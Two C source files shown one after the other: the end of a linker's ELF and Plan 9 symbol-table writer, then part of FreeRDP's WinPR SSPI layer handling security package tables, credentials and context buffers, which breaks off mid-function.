PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // Symbol table. #include "l.h" #include "../ld/lib.h" #include "../ld/elf.h" char *elfstrdat; int elfstrsize; int maxelfstr; int elftextsh; int putelfstr(char *s) { int off, n; if(elfstrsize == 0 && s[0] != 0) { // first entry must be empty string putelfstr(""); } n = strlen(s)+1; if(elfstrsize+n > maxelfstr) { maxelfstr = 2*(elfstrsize+n+(1<<20)); elfstrdat = realloc(elfstrdat, maxelfstr); } off = elfstrsize; elfstrsize += n; memmove(elfstrdat+off, s, n); return off; } void putelfsym64(Sym *x, char *s, int t, vlong addr, vlong size, int ver, Sym *go) { int bind, type, shndx, stroff; bind = STB_GLOBAL; switch(t) { default: return; case 'T': type = STT_FUNC; shndx = elftextsh + 0; break; case 'D': type = STT_OBJECT; shndx = elftextsh + 1; break; case 'B': type = STT_OBJECT; shndx = elftextsh + 2; break; } stroff = putelfstr(s); LPUT(stroff); // string cput((bind<<4)|(type&0xF)); cput(0); WPUT(shndx); VPUT(addr); VPUT(size); } void asmelfsym64(void) { genasmsym(putelfsym64); } void putelfsym32(Sym *x, char *s, int t, vlong addr, vlong size, int ver, Sym *go) { int bind, type, shndx, stroff; bind = STB_GLOBAL; switch(t) { default: return; case 'T': type = STT_FUNC; shndx = elftextsh + 0; break; case 'D': type = STT_OBJECT; shndx = elftextsh + 1; break; case 'B': type = STT_OBJECT; shndx = elftextsh + 2; break; } stroff = putelfstr(s); LPUT(stroff); // string LPUT(addr); LPUT(size); cput((bind<<4)|(type&0xF)); cput(0); WPUT(shndx); } void asmelfsym32(void) { genasmsym(putelfsym32); } void putplan9sym(Sym *x, char *s, int t, vlong addr, vlong size, int ver, Sym *go) { int i; switch(t) { case 'T': case 'L': case 'D': case 'B': if(ver) t += 'a' - 'A'; case 'a': case 'p': case 'f': case 'z': case 'Z': case 'm': lputb(addr); cput(t+0x80); /* 0x80 is variable length */ if(t == 'z' || t == 'Z') { cput(s[0]); for(i=1; s[i] != 0 || s[i+1] != 0; i += 2) { cput(s[i]); cput(s[i+1]); } cput(0); cput(0); i++; } else { /* skip the '<' in filenames */ if(t == 'f') s++; for(i=0; s[i]; i++) cput(s[i]); cput(0); } symsize += 4 + 1 + i + 1; break; default: return; }; } void asmplan9sym(void) { genasmsym(putplan9sym); } static Sym *symt; static void scput(int b) { uchar *p; symgrow(symt, symt->size+1); p = symt->p + symt->size; *p = b; symt->size++; } static void slputb(int32 v) { uchar *p; symgrow(symt, symt->size+4); p = symt->p + symt->size; *p++ = v>>24; *p++ = v>>16; *p++ = v>>8; *p = v; symt->size += 4; } void wputl(ushort w) { cput(w); cput(w>>8); } void wputb(ushort w) { cput(w>>8); cput(w); } void lputb(int32 l) { cput(l>>24); cput(l>>16); cput(l>>8); cput(l); } void lputl(int32 l) { cput(l); cput(l>>8); cput(l>>16); cput(l>>24); } void vputb(uint64 v) { lputb(v>>32); lputb(v); } void vputl(uint64 v) { lputl(v); lputl(v >> 32); } void putsymb(Sym *s, char *name, int t, vlong v, vlong size, int ver, Sym *typ) { int i, f, l; Reloc *rel; if(t == 'f') name++; l = 4; // if(!debug['8']) // l = 8; if(s != nil) { rel = addrel(symt); rel->siz = l + Rbig; rel->sym = s; rel->type = D_ADDR; rel->off = symt->size; v = 0; } if(l == 8) slputb(v>>32); slputb(v); if(ver) t += 'a' - 'A'; scput(t+0x80); /* 0x80 is variable length */ if(t == 'Z' || t == 'z') { scput(name[0]); for(i=1; name[i] != 0 || name[i+1] != 0; i += 2) { scput(name[i]); scput(name[i+1]); } scput(0); scput(0); i++; } else { for(i=0; name[i]; i++) scput(name[i]); scput(0); } if(typ) { if(!typ->reachable) diag("unreachable type %s", typ->name); rel = addrel(symt); rel->siz = l; rel->sym = typ; rel->type = D_ADDR; rel->off = symt->size; } if(l == 8) slputb(0); slputb(0); if(debug['n']) { if(t == 'z' || t == 'Z') { Bprint(&bso, "%c %.8llux ", t, v); for(i=1; name[i] != 0 || name[i+1] != 0; i+=2) { f = ((name[i]&0xff) << 8) | (name[i+1]&0xff); Bprint(&bso, "/%x", f); } Bprint(&bso, "\n"); return; } if(ver) Bprint(&bso, "%c %.8llux %s<%d> %s\n", t, v, s, ver, typ ? typ->name : ""); else Bprint(&bso, "%c %.8llux %s %s\n", t, v, s, typ ? typ->name : ""); } } void symtab(void) { Sym *s; // Define these so that they'll get put into the symbol table. // data.c:/^address will provide the actual values. xdefine("text", STEXT, 0); xdefine("etext", STEXT, 0); xdefine("rodata", SRODATA, 0); xdefine("erodata", SRODATA, 0); xdefine("data", SBSS, 0); xdefine("edata", SBSS, 0); xdefine("end", SBSS, 0); xdefine("epclntab", SRODATA, 0); xdefine("esymtab", SRODATA, 0); // pseudo-symbols to mark locations of type, string, and go string data. s = lookup("type.*", 0); s->type = STYPE; s->size = 0; s->reachable = 1; s = lookup("go.string.*", 0); s->type = SGOSTRING; s->size = 0; s->reachable = 1; symt = lookup("symtab", 0); symt->type = SRODATA; symt->size = 0; symt->reachable = 1; // assign specific types so that they sort together. // within a type they sort by size, so the .* symbols // just defined above will be first. // hide the specific symbols. for(s = allsym; s != S; s = s->allsym) { if(!s->reachable || s->special || s->type != SRODATA) continue; if(strncmp(s->name, "type.", 5) == 0) { s->type = STYPE; s->hide = 1; } if(strncmp(s->name, "go.string.", 10) == 0) { s->type = SGOSTRING; s->hide = 1; } } genasmsym(putsymb); }
980477.c
/** * FreeRDP: A Remote Desktop Protocol Implementation * Security Support Provider Interface (SSPI) * * Copyright 2012-2014 Marc-Andre Moreau <[email protected]> * Copyright 2017 Dorian Ducournau <[email protected]> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifdef HAVE_CONFIG_FREERDP_H #include "config_freerdp.h" #endif #include <winpr/windows.h> #include <winpr/crt.h> #include <winpr/sspi.h> #include <winpr/ssl.h> #include <winpr/print.h> #include "sspi.h" #include "sspi_winpr.h" #include "../log.h" #define TAG WINPR_TAG("sspi") /* Authentication Functions: http://msdn.microsoft.com/en-us/library/windows/desktop/aa374731/ */ extern const SecPkgInfoA NTLM_SecPkgInfoA; extern const SecPkgInfoW NTLM_SecPkgInfoW; extern const SecurityFunctionTableA NTLM_SecurityFunctionTableA; extern const SecurityFunctionTableW NTLM_SecurityFunctionTableW; extern const SecPkgInfoA KERBEROS_SecPkgInfoA; extern const SecPkgInfoW KERBEROS_SecPkgInfoW; extern const SecurityFunctionTableA KERBEROS_SecurityFunctionTableA; extern const SecurityFunctionTableW KERBEROS_SecurityFunctionTableW; extern const SecPkgInfoA NEGOTIATE_SecPkgInfoA; extern const SecPkgInfoW NEGOTIATE_SecPkgInfoW; extern const SecurityFunctionTableA NEGOTIATE_SecurityFunctionTableA; extern const SecurityFunctionTableW NEGOTIATE_SecurityFunctionTableW; extern const SecPkgInfoA CREDSSP_SecPkgInfoA; extern const SecPkgInfoW CREDSSP_SecPkgInfoW; extern const SecurityFunctionTableA CREDSSP_SecurityFunctionTableA; extern const SecurityFunctionTableW CREDSSP_SecurityFunctionTableW; extern const SecPkgInfoA SCHANNEL_SecPkgInfoA; extern const SecPkgInfoW SCHANNEL_SecPkgInfoW; extern const SecurityFunctionTableA SCHANNEL_SecurityFunctionTableA; extern const SecurityFunctionTableW SCHANNEL_SecurityFunctionTableW; static const SecPkgInfoA* SecPkgInfoA_LIST[] = { &NTLM_SecPkgInfoA, &KERBEROS_SecPkgInfoA, &NEGOTIATE_SecPkgInfoA, &CREDSSP_SecPkgInfoA, &SCHANNEL_SecPkgInfoA }; static const SecPkgInfoW* SecPkgInfoW_LIST[] = { &NTLM_SecPkgInfoW, &KERBEROS_SecPkgInfoW, &NEGOTIATE_SecPkgInfoW, &CREDSSP_SecPkgInfoW, &SCHANNEL_SecPkgInfoW }; static SecurityFunctionTableA winpr_SecurityFunctionTableA; static SecurityFunctionTableW winpr_SecurityFunctionTableW; struct _SecurityFunctionTableA_NAME { const SEC_CHAR* Name; const SecurityFunctionTableA* SecurityFunctionTable; }; typedef struct _SecurityFunctionTableA_NAME SecurityFunctionTableA_NAME; struct _SecurityFunctionTableW_NAME { const SEC_WCHAR* Name; const SecurityFunctionTableW* SecurityFunctionTable; }; typedef struct _SecurityFunctionTableW_NAME SecurityFunctionTableW_NAME; static const SecurityFunctionTableA_NAME SecurityFunctionTableA_NAME_LIST[] = { { "NTLM", &NTLM_SecurityFunctionTableA }, { "Kerberos", &KERBEROS_SecurityFunctionTableA }, { "Negotiate", &NEGOTIATE_SecurityFunctionTableA }, { "CREDSSP", &CREDSSP_SecurityFunctionTableA }, { "Schannel", &SCHANNEL_SecurityFunctionTableA } }; static const WCHAR NTLM_NAME_W[] = { 'N', 'T', 'L', 'M', '\0' }; static const WCHAR KERBEROS_NAME_W[] = { 'K', 'e', 'r', 'b', 'e', 'r', 'o', 's', '\0' }; static const WCHAR NEGOTIATE_NAME_W[] = { 'N', 'e', 'g', 'o', 't', 'i', 'a', 't', 'e', '\0' }; static const WCHAR CREDSSP_NAME_W[] = { 'C', 'r', 'e', 'd', 'S', 'S', 'P', '\0' }; static const WCHAR SCHANNEL_NAME_W[] = { 'S', 'c', 'h', 'a', 'n', 'n', 'e', 'l', '\0' }; static const SecurityFunctionTableW_NAME SecurityFunctionTableW_NAME_LIST[] = { { NTLM_NAME_W, &NTLM_SecurityFunctionTableW }, { KERBEROS_NAME_W, &KERBEROS_SecurityFunctionTableW }, { NEGOTIATE_NAME_W, &NEGOTIATE_SecurityFunctionTableW }, { CREDSSP_NAME_W, &CREDSSP_SecurityFunctionTableW }, { SCHANNEL_NAME_W, &SCHANNEL_SecurityFunctionTableW } }; #define SecHandle_LOWER_MAX 0xFFFFFFFF #define SecHandle_UPPER_MAX 0xFFFFFFFE struct _CONTEXT_BUFFER_ALLOC_ENTRY { void* contextBuffer; UINT32 allocatorIndex; }; typedef struct _CONTEXT_BUFFER_ALLOC_ENTRY CONTEXT_BUFFER_ALLOC_ENTRY; struct _CONTEXT_BUFFER_ALLOC_TABLE { UINT32 cEntries; UINT32 cMaxEntries; CONTEXT_BUFFER_ALLOC_ENTRY* entries; }; typedef struct _CONTEXT_BUFFER_ALLOC_TABLE CONTEXT_BUFFER_ALLOC_TABLE; static CONTEXT_BUFFER_ALLOC_TABLE ContextBufferAllocTable = { 0 }; static int sspi_ContextBufferAllocTableNew(void) { size_t size; ContextBufferAllocTable.entries = NULL; ContextBufferAllocTable.cEntries = 0; ContextBufferAllocTable.cMaxEntries = 4; size = sizeof(CONTEXT_BUFFER_ALLOC_ENTRY) * ContextBufferAllocTable.cMaxEntries; ContextBufferAllocTable.entries = (CONTEXT_BUFFER_ALLOC_ENTRY*)calloc(1, size); if (!ContextBufferAllocTable.entries) return -1; return 1; } static int sspi_ContextBufferAllocTableGrow(void) { size_t size; CONTEXT_BUFFER_ALLOC_ENTRY* entries; ContextBufferAllocTable.cEntries = 0; ContextBufferAllocTable.cMaxEntries *= 2; size = sizeof(CONTEXT_BUFFER_ALLOC_ENTRY) * ContextBufferAllocTable.cMaxEntries; if (!size) return -1; entries = (CONTEXT_BUFFER_ALLOC_ENTRY*)realloc(ContextBufferAllocTable.entries, size); if (!entries) { free(ContextBufferAllocTable.entries); return -1; } ContextBufferAllocTable.entries = entries; ZeroMemory((void*)&ContextBufferAllocTable.entries[ContextBufferAllocTable.cMaxEntries / 2], size / 2); return 1; } static void sspi_ContextBufferAllocTableFree(void) { if (ContextBufferAllocTable.cEntries != 0) WLog_ERR(TAG, "ContextBufferAllocTable.entries == %" PRIu32, ContextBufferAllocTable.cEntries); ContextBufferAllocTable.cEntries = ContextBufferAllocTable.cMaxEntries = 0; free(ContextBufferAllocTable.entries); ContextBufferAllocTable.entries = NULL; } static void* sspi_ContextBufferAlloc(UINT32 allocatorIndex, size_t size) { UINT32 index; void* contextBuffer; for (index = 0; index < ContextBufferAllocTable.cMaxEntries; index++) { if (!ContextBufferAllocTable.entries[index].contextBuffer) { contextBuffer = calloc(1, size); if (!contextBuffer) return NULL; ContextBufferAllocTable.cEntries++; ContextBufferAllocTable.entries[index].contextBuffer = contextBuffer; ContextBufferAllocTable.entries[index].allocatorIndex = allocatorIndex; return ContextBufferAllocTable.entries[index].contextBuffer; } } /* no available entry was found, the table needs to be grown */ if (sspi_ContextBufferAllocTableGrow() < 0) return NULL; /* the next call to sspi_ContextBufferAlloc() should now succeed */ return sspi_ContextBufferAlloc(allocatorIndex, size); } SSPI_CREDENTIALS* sspi_CredentialsNew(void) { SSPI_CREDENTIALS* credentials; credentials = (SSPI_CREDENTIALS*)calloc(1, sizeof(SSPI_CREDENTIALS)); return credentials; } void sspi_CredentialsFree(SSPI_CREDENTIALS* credentials) { size_t userLength = 0; size_t domainLength = 0; size_t passwordLength = 0; if (!credentials) return; userLength = credentials->identity.UserLength; domainLength = credentials->identity.DomainLength; passwordLength = credentials->identity.PasswordLength; if (passwordLength > SSPI_CREDENTIALS_HASH_LENGTH_OFFSET) /* [pth] */ passwordLength -= SSPI_CREDENTIALS_HASH_LENGTH_OFFSET; if (credentials->identity.Flags & SEC_WINNT_AUTH_IDENTITY_UNICODE) { userLength *= 2; domainLength *= 2; passwordLength *= 2; } memset(credentials->identity.User, 0, userLength); memset(credentials->identity.Domain, 0, domainLength); memset(credentials->identity.Password, 0, passwordLength); free(credentials->identity.User); free(credentials->identity.Domain); free(credentials->identity.Password); free(credentials); } void* sspi_SecBufferAlloc(PSecBuffer SecBuffer, ULONG size) { if (!SecBuffer) return NULL; SecBuffer->pvBuffer = calloc(1, size); if (!SecBuffer->pvBuffer) return NULL; SecBuffer->cbBuffer = size; return SecBuffer->pvBuffer; } void sspi_SecBufferFree(PSecBuffer SecBuffer) { if (!SecBuffer) return; if (SecBuffer->pvBuffer) memset(SecBuffer->pvBuffer, 0, SecBuffer->cbBuffer); free(SecBuffer->pvBuffer); SecBuffer->pvBuffer = NULL; SecBuffer->cbBuffer = 0; } SecHandle* sspi_SecureHandleAlloc(void) { SecHandle* handle = (SecHandle*)calloc(1, sizeof(SecHandle)); if (!handle) return NULL; SecInvalidateHandle(handle); return handle; } void* sspi_SecureHandleGetLowerPointer(SecHandle* handle) { void* pointer; if (!handle || !SecIsValidHandle(handle) || !handle->dwLower) return NULL; pointer = (void*)~((size_t)handle->dwLower); return pointer; } void sspi_SecureHandleInvalidate(SecHandle* handle) { if (!handle) return; handle->dwLower = 0; handle->dwUpper = 0; } void sspi_SecureHandleSetLowerPointer(SecHandle* handle, void* pointer) { if (!handle) return; handle->dwLower = (ULONG_PTR)(~((size_t)pointer)); } void* sspi_SecureHandleGetUpperPointer(SecHandle* handle) { void* pointer; if (!handle || !SecIsValidHandle(handle) || !handle->dwUpper) return NULL; pointer = (void*)~((size_t)handle->dwUpper); return pointer; } void sspi_SecureHandleSetUpperPointer(SecHandle* handle, void* pointer) { if (!handle) return; handle->dwUpper = (ULONG_PTR)(~((size_t)pointer)); } void sspi_SecureHandleFree(SecHandle* handle) { free(handle); } int sspi_SetAuthIdentity(SEC_WINNT_AUTH_IDENTITY* identity, const char* user, const char* domain, const char* password) { int rc; int unicodePasswordLenW; LPWSTR unicodePassword = NULL; unicodePasswordLenW = ConvertToUnicode(CP_UTF8, 0, password, -1, &unicodePassword, 0); if (unicodePasswordLenW <= 0) return -1; rc = sspi_SetAuthIdentityWithUnicodePassword(identity, user, domain, unicodePassword, (ULONG)(unicodePasswordLenW - 1)); free(unicodePassword); return rc; } int sspi_SetAuthIdentityWithUnicodePassword(SEC_WINNT_AUTH_IDENTITY* identity, const char* user, const char* domain, LPWSTR password, ULONG passwordLength) { int status; identity->Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE; free(identity->User); identity->User = (UINT16*)NULL; identity->UserLength = 0; if (user) { status = ConvertToUnicode(CP_UTF8, 0, user, -1, (LPWSTR*)&(identity->User), 0); if (status <= 0) return -1; identity->UserLength = (ULONG)(status - 1); } free(identity->Domain); identity->Domain = (UINT16*)NULL; identity->DomainLength = 0; if (domain) { status = ConvertToUnicode(CP_UTF8, 0, domain, -1, (LPWSTR*)&(identity->Domain), 0); if (status <= 0) return -1; identity->DomainLength = (ULONG)(status - 1); } free(identity->Password); identity->Password = (UINT16*)calloc(1, (passwordLength + 1) * sizeof(WCHAR)); if (!identity->Password) return -1; CopyMemory(identity->Password, password, passwordLength * sizeof(WCHAR)); identity->PasswordLength = passwordLength; return 1; } int sspi_CopyAuthIdentity(SEC_WINNT_AUTH_IDENTITY* identity, SEC_WINNT_AUTH_IDENTITY* srcIdentity) { int status; if (srcIdentity->Flags & SEC_WINNT_AUTH_IDENTITY_ANSI) { status = sspi_SetAuthIdentity(identity, (char*)srcIdentity->User, (char*)srcIdentity->Domain, (char*)srcIdentity->Password); if (status <= 0) return -1; identity->Flags &= ~SEC_WINNT_AUTH_IDENTITY_ANSI; identity->Flags |= SEC_WINNT_AUTH_IDENTITY_UNICODE; return 1; } identity->Flags |= SEC_WINNT_AUTH_IDENTITY_UNICODE; /* login/password authentication */ identity->User = identity->Domain = identity->Password = NULL; identity->UserLength = srcIdentity->UserLength; if (identity->UserLength > 0) { identity->User = (UINT16*)calloc((identity->UserLength + 1), sizeof(WCHAR)); if (!identity->User) return -1; CopyMemory(identity->User, srcIdentity->User, identity->UserLength * sizeof(WCHAR)); identity->User[identity->UserLength] = 0; } identity->DomainLength = srcIdentity->DomainLength; if (identity->DomainLength > 0) { identity->Domain = (UINT16*)calloc((identity->DomainLength + 1), sizeof(WCHAR)); if (!identity->Domain) return -1; CopyMemory(identity->Domain, srcIdentity->Domain, identity->DomainLength * sizeof(WCHAR)); identity->Domain[identity->DomainLength] = 0; } identity->PasswordLength = srcIdentity->PasswordLength; if (identity->PasswordLength > SSPI_CREDENTIALS_HASH_LENGTH_OFFSET) identity->PasswordLength -= SSPI_CREDENTIALS_HASH_LENGTH_OFFSET; if (srcIdentity->Password) { identity->Password = (UINT16*)calloc((identity->PasswordLength + 1), sizeof(WCHAR)); if (!identity->Password) return -1; CopyMemory(identity->Password, srcIdentity->Password, identity->PasswordLength * sizeof(WCHAR)); identity->Password[identity->PasswordLength] = 0; } identity->PasswordLength = srcIdentity->PasswordLength; /* End of login/password authentication */ return 1; } PSecBuffer sspi_FindSecBuffer(PSecBufferDesc pMessage, ULONG BufferType) { ULONG index; PSecBuffer pSecBuffer = NULL; for (index = 0; index < pMessage->cBuffers; index++) { if (pMessage->pBuffers[index].BufferType == BufferType) { pSecBuffer = &pMessage->pBuffers[index]; break; } } return pSecBuffer; } static BOOL CALLBACK sspi_init(PINIT_ONCE InitOnce, PVOID Parameter, PVOID* Context) { winpr_InitializeSSL(WINPR_SSL_INIT_DEFAULT); sspi_ContextBufferAllocTableNew(); return TRUE; } void sspi_GlobalInit(void) { static INIT_ONCE once = INIT_ONCE_STATIC_INIT; DWORD flags = 0; InitOnceExecuteOnce(&once, sspi_init, &flags, NULL); } void sspi_GlobalFinish(void) { sspi_ContextBufferAllocTableFree(); } static SecurityFunctionTableA* sspi_GetSecurityFunctionTableAByNameA(const SEC_CHAR* Name) { int index; UINT32 cPackages; cPackages = sizeof(SecPkgInfoA_LIST) / sizeof(*(SecPkgInfoA_LIST)); for (index = 0; index < (int)cPackages; index++) { if (strcmp(Name, SecurityFunctionTableA_NAME_LIST[index].Name) == 0) { return (SecurityFunctionTableA*)SecurityFunctionTableA_NAME_LIST[index] .SecurityFunctionTable; } } return NULL; } static SecurityFunctionTableW* sspi_GetSecurityFunctionTableWByNameW(const SEC_WCHAR* Name) { int index; UINT32 cPackages; cPackages = sizeof(SecPkgInfoW_LIST) / sizeof(*(SecPkgInfoW_LIST)); for (index = 0; index < (int)cPackages; index++) { if (lstrcmpW(Name, SecurityFunctionTableW_NAME_LIST[index].Name) == 0) { return (SecurityFunctionTableW*)SecurityFunctionTableW_NAME_LIST[index] .SecurityFunctionTable; } } return NULL; } static SecurityFunctionTableW* sspi_GetSecurityFunctionTableWByNameA(const SEC_CHAR* Name) { int status; SEC_WCHAR* NameW = NULL; SecurityFunctionTableW* table; status = ConvertToUnicode(CP_UTF8, 0, Name, -1, &NameW, 0); if (status <= 0) return NULL; table = sspi_GetSecurityFunctionTableWByNameW(NameW); free(NameW); return table; } static void FreeContextBuffer_EnumerateSecurityPackages(void* contextBuffer); static void FreeContextBuffer_QuerySecurityPackageInfo(void* contextBuffer); static void sspi_ContextBufferFree(void* contextBuffer) { UINT32 index; UINT32 allocatorIndex; for (index = 0; index < ContextBufferAllocTable.cMaxEntries; index++) { if (contextBuffer == ContextBufferAllocTable.entries[index].contextBuffer) { contextBuffer = ContextBufferAllocTable.entries[index].contextBuffer; allocatorIndex = ContextBufferAllocTable.entries[index].allocatorIndex; ContextBufferAllocTable.cEntries--; ContextBufferAllocTable.entries[index].allocatorIndex = 0; ContextBufferAllocTable.entries[index].contextBuffer = NULL; switch (allocatorIndex) { case EnumerateSecurityPackagesIndex: FreeContextBuffer_EnumerateSecurityPackages(contextBuffer); break; case QuerySecurityPackageInfoIndex: FreeContextBuffer_QuerySecurityPackageInfo(contextBuffer); break; } } } } /** * Standard SSPI API */ /* Package Management */ static SECURITY_STATUS SEC_ENTRY winpr_EnumerateSecurityPackagesW(ULONG* pcPackages, PSecPkgInfoW* ppPackageInfo) { int index; size_t size; UINT32 cPackages; SecPkgInfoW* pPackageInfo; cPackages = sizeof(SecPkgInfoW_LIST) / sizeof(*(SecPkgInfoW_LIST)); size = sizeof(SecPkgInfoW) * cPackages; pPackageInfo = (SecPkgInfoW*)sspi_ContextBufferAlloc(EnumerateSecurityPackagesIndex, size); if (!pPackageInfo) return SEC_E_INSUFFICIENT_MEMORY; for (index = 0; index < (int)cPackages; index++) { pPackageInfo[index].fCapabilities = SecPkgInfoW_LIST[index]->fCapabilities; pPackageInfo[index].wVersion = SecPkgInfoW_LIST[index]->wVersion; pPackageInfo[index].wRPCID = SecPkgInfoW_LIST[index]->wRPCID; pPackageInfo[index].cbMaxToken = SecPkgInfoW_LIST[index]->cbMaxToken; pPackageInfo[index].Name = _wcsdup(SecPkgInfoW_LIST[index]->Name); pPackageInfo[index].Comment = _wcsdup(SecPkgInfoW_LIST[index]->Comment); } *(pcPackages) = cPackages; *(ppPackageInfo) = pPackageInfo; return SEC_E_OK; } static SECURITY_STATUS SEC_ENTRY winpr_EnumerateSecurityPackagesA(ULONG* pcPackages, PSecPkgInfoA* ppPackageInfo) { int index; size_t size; UINT32 cPackages; SecPkgInfoA* pPackageInfo; cPackages = sizeof(SecPkgInfoA_LIST) / sizeof(*(SecPkgInfoA_LIST)); size = sizeof(SecPkgInfoA) * cPackages; pPackageInfo = (SecPkgInfoA*)sspi_ContextBufferAlloc(EnumerateSecurityPackagesIndex, size); if (!pPackageInfo) return SEC_E_INSUFFICIENT_MEMORY; for (index = 0; index < (int)cPackages; index++) { pPackageInfo[index].fCapabilities = SecPkgInfoA_LIST[index]->fCapabilities; pPackageInfo[index].wVersion = SecPkgInfoA_LIST[index]->wVersion; pPackageInfo[index].wRPCID = SecPkgInfoA_LIST[index]->wRPCID; pPackageInfo[index].cbMaxToken = SecPkgInfoA_LIST[index]->cbMaxToken; pPackageInfo[index].Name = _strdup(SecPkgInfoA_LIST[index]->Name); pPackageInfo[index].Comment = _strdup(SecPkgInfoA_LIST[index]->Comment); if (!pPackageInfo[index].Name || !pPackageInfo[index].Comment) { sspi_ContextBufferFree(pPackageInfo); return SEC_E_INSUFFICIENT_MEMORY; } } *(pcPackages) = cPackages; *(ppPackageInfo) = pPackageInfo; return SEC_E_OK; } static void FreeContextBuffer_EnumerateSecurityPackages(void* contextBuffer) { int index; UINT32 cPackages; SecPkgInfoA* pPackageInfo = (SecPkgInfoA*)contextBuffer; cPackages = sizeof(SecPkgInfoA_LIST) / sizeof(*(SecPkgInfoA_LIST)); if (!pPackageInfo) return; for (index = 0; index < (int)cPackages; index++) { free(pPackageInfo[index].Name); free(pPackageInfo[index].Comment); } free(pPackageInfo); } SecurityFunctionTableW* SEC_ENTRY winpr_InitSecurityInterfaceW(void) { return &winpr_SecurityFunctionTableW; } SecurityFunctionTableA* SEC_ENTRY winpr_InitSecurityInterfaceA(void) { return &winpr_SecurityFunctionTableA; } static SECURITY_STATUS SEC_ENTRY winpr_QuerySecurityPackageInfoW(SEC_WCHAR* pszPackageName, PSecPkgInfoW* ppPackageInfo) { int index; size_t size; UINT32 cPackages; SecPkgInfoW* pPackageInfo; cPackages = sizeof(SecPkgInfoW_LIST) / sizeof(*(SecPkgInfoW_LIST)); for (index = 0; index < (int)cPackages; index++) { if (lstrcmpW(pszPackageName, SecPkgInfoW_LIST[index]->Name) == 0) { size = sizeof(SecPkgInfoW); pPackageInfo = (SecPkgInfoW*)sspi_ContextBufferAlloc(QuerySecurityPackageInfoIndex, size); if (!pPackageInfo) return SEC_E_INSUFFICIENT_MEMORY; pPackageInfo->fCapabilities = SecPkgInfoW_LIST[index]->fCapabilities; pPackageInfo->wVersion = SecPkgInfoW_LIST[index]->wVersion; pPackageInfo->wRPCID = SecPkgInfoW_LIST[index]->wRPCID; pPackageInfo->cbMaxToken = SecPkgInfoW_LIST[index]->cbMaxToken; pPackageInfo->Name = _wcsdup(SecPkgInfoW_LIST[index]->Name); pPackageInfo->Comment = _wcsdup(SecPkgInfoW_LIST[index]->Comment); *(ppPackageInfo) = pPackageInfo; return SEC_E_OK; } } *(ppPackageInfo) = NULL; return SEC_E_SECPKG_NOT_FOUND; } static SECURITY_STATUS SEC_ENTRY winpr_QuerySecurityPackageInfoA(SEC_CHAR* pszPackageName, PSecPkgInfoA* ppPackageInfo) { int index; size_t size; UINT32 cPackages; SecPkgInfoA* pPackageInfo; cPackages = sizeof(SecPkgInfoA_LIST) / sizeof(*(SecPkgInfoA_LIST)); for (index = 0; index < (int)cPackages; index++) { if (strcmp(pszPackageName, SecPkgInfoA_LIST[index]->Name) == 0) { size = sizeof(SecPkgInfoA); pPackageInfo = (SecPkgInfoA*)sspi_ContextBufferAlloc(QuerySecurityPackageInfoIndex, size); if (!pPackageInfo) return SEC_E_INSUFFICIENT_MEMORY; pPackageInfo->fCapabilities = SecPkgInfoA_LIST[index]->fCapabilities; pPackageInfo->wVersion = SecPkgInfoA_LIST[index]->wVersion; pPackageInfo->wRPCID = SecPkgInfoA_LIST[index]->wRPCID; pPackageInfo->cbMaxToken = SecPkgInfoA_LIST[index]->cbMaxToken; pPackageInfo->Name = _strdup(SecPkgInfoA_LIST[index]->Name); pPackageInfo->Comment = _strdup(SecPkgInfoA_LIST[index]->Comment); if (!pPackageInfo->Name || !pPackageInfo->Comment) { sspi_ContextBufferFree(pPackageInfo); return SEC_E_INSUFFICIENT_MEMORY; } *(ppPackageInfo) = pPackageInfo; return SEC_E_OK; } } *(ppPackageInfo) = NULL; return SEC_E_SECPKG_NOT_FOUND; } void FreeContextBuffer_QuerySecurityPackageInfo(void* contextBuffer) { SecPkgInfo* pPackageInfo = (SecPkgInfo*)contextBuffer; if (!pPackageInfo) return; free(pPackageInfo->Name); free(pPackageInfo->Comment); free(pPackageInfo); } /* Credential Management */ static SECURITY_STATUS SEC_ENTRY winpr_AcquireCredentialsHandleW( SEC_WCHAR* pszPrincipal, SEC_WCHAR* pszPackage, ULONG fCredentialUse, void* pvLogonID, void* pAuthData, SEC_GET_KEY_FN pGetKeyFn, void* pvGetKeyArgument, PCredHandle phCredential, PTimeStamp ptsExpiry) { SECURITY_STATUS status; SecurityFunctionTableW* table = sspi_GetSecurityFunctionTableWByNameW(pszPackage); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->AcquireCredentialsHandleW) return SEC_E_UNSUPPORTED_FUNCTION; status = table->AcquireCredentialsHandleW(pszPrincipal, pszPackage, fCredentialUse, pvLogonID, pAuthData, pGetKeyFn, pvGetKeyArgument, phCredential, ptsExpiry); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "AcquireCredentialsHandleW status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_AcquireCredentialsHandleA( SEC_CHAR* pszPrincipal, SEC_CHAR* pszPackage, ULONG fCredentialUse, void* pvLogonID, void* pAuthData, SEC_GET_KEY_FN pGetKeyFn, void* pvGetKeyArgument, PCredHandle phCredential, PTimeStamp ptsExpiry) { SECURITY_STATUS status; SecurityFunctionTableA* table = sspi_GetSecurityFunctionTableAByNameA(pszPackage); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->AcquireCredentialsHandleA) return SEC_E_UNSUPPORTED_FUNCTION; status = table->AcquireCredentialsHandleA(pszPrincipal, pszPackage, fCredentialUse, pvLogonID, pAuthData, pGetKeyFn, pvGetKeyArgument, phCredential, ptsExpiry); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "AcquireCredentialsHandleA status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static 